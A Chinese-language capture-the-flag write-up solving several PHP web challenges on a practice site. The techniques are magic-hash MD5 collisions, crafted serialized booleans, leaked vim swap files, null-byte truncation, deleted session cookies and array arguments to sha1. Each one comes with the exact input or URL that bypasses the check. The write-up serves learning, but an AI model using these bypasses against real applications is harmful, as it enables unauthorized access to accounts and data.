天网
第一步看源码
发现一条:
我们可以知道php弱类型中以0e开头的可以满足==0,$test是通过md5加密的,百度一下0e开头的md5哈希字符串,如下:(这一部分可看php审计中的漏洞解析)
QNKCDZO(0e830400451993494058024219903391)
s878926199a(0e545993274517709034328855841020)
s155964671a(0e342768416822451524974117254469)
s214587387a(0e848240448830537924465865611904)
随便挑一个填在用户名中。
得到一条信息:
/user.php?fame=hjkleffifer
内容很明确,这是url一部分
我们把它拼接好:http://ctf5.shiyanbar.com/10//user.php?fame=hjkleffifer
进入后发现信息:
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{
print_r($flag);
}
伟大的科学家php方言道:成也布尔,败也布尔。
回去吧骚年
这段代码不难懂,就是把post提交的password值经过"反序列化"得到一个数组,要求数组里的user和pass都满足,就打印flag,但是我们无法得知'???'是什么,但是我们可以注意到信息中判断条件使用的为==,也是php弱类型,
bool类型的true跟任意字符串可以弱类型相等的,当代码中存在unserialize或者json_decode的时候,我们可以构造bool类型,来达到欺骗。现在我们构造一个数组,内瀚2个元素,分别是user和pass,都是bool类型的true,于是我们得到
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
(a代表array,s代表string,b代表bool,而数字代表个数/长度)
讲这些输入登录系统的密码一栏,使用post提交也可以,就可以得到flag了
忘记密码了
点开链接之后,任意输入什么,都会弹框出来
你邮箱收到的重置密码链接为 ./[email protected]&check=???????
于是我们访问以下看一看http://ctf5.shiyanbar.com/10/upload/[email protected]&check=???????
出现了step2的界面,但是马上又回到了原来的界面。可以抓包来看一下
找回密码step2
email:
token:
在包中发现了submit.php,查看一下看看
但是不能访问,不是admin
但是我们可以知道这是vim,会有临时文件,应该没有禁用
一、vim备份文件
默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看;
eg:index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~
二、vim临时文件
vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件
.submit.swp。如果文件正常退出,则此文件自动删除。
所以我们查看临时文件
访问http://ctf5.shiyanbar.com/10/upload/.submit.php.swp
里面有很多乱码,但还是有两段可读的代码
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "澶辫触浜嗗憖";
}
}
从代码里可以知道,
token初始化为0,但if语句中要让他长度为10,可以置为0000000000
$emailAddress我们可以从刚才的源代码中知道admin的邮箱
所以
http://ctf5.shiyanbar.com/10/upload/[email protected]&token=0000000000
OnceMore
关键码
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
分析:
要获得一个长度小于8,值大于999999的数
所以要用到科学计数法
并且该数中要包含“-”
单纯在数中加“-”会无意义,使用%00截断后,加上*-*
即:
原url后加入“1e8%00*-*”
有个小问题 你要是在输入框中输入%00是会被转码的变成%2500所以要直接在url中加
Guess Session
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '
Wrong guess.
';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
其实最主要的就在那个判断条件上:if ($_GET['password'] == $_SESSION['password'])
我们只需要在密码什么都不填,并且抓包,把Cookie中的Session删掉不就好了吗,这样等号两端就都是空了
FALSE
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '
Your password can not be your name!
';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '
Invalid password.
';
}
else{
echo '
Login first!
';
?>
在源代码中,获得flag的核心条件是使$_GET['name'] != $_GET['password']且sha1($_GET['name']) === sha1($_GET['password'])。
把name,password字段构造为数组。 即可使第一个条件成立。 如:?name[]=1&password[]=2
通过查阅得知,sha1函数对参数为数组的情况会反回false 即可使第二个条件成立。
即可得出flag.